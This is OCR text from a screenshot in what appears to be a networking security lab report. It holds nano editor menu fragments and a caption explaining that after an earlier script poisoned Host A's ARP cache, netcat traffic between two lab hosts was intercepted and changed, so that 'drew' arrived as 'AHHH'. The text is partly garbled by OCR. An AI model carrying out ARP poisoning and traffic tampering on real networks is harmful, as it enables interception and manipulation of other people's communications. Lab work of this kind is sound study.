[§ Get Help [ Wwrite Out Il Where Is [¥ Cut Text 8] Justify Cur Pos undo Mark Text da
B Exit il Read File N Replace ! Paste Text To spell Go To Line Redo Copy Text IAHHH

- £/

After poisoning Host A’s ARP cache with the previous test.py script, executingnc 10.9.0.6 9090 o0n
Host Aand nc -1 9090 on Host B, transmitting ‘drew’ is transformed to ‘AHHH’ when received by Host
B.




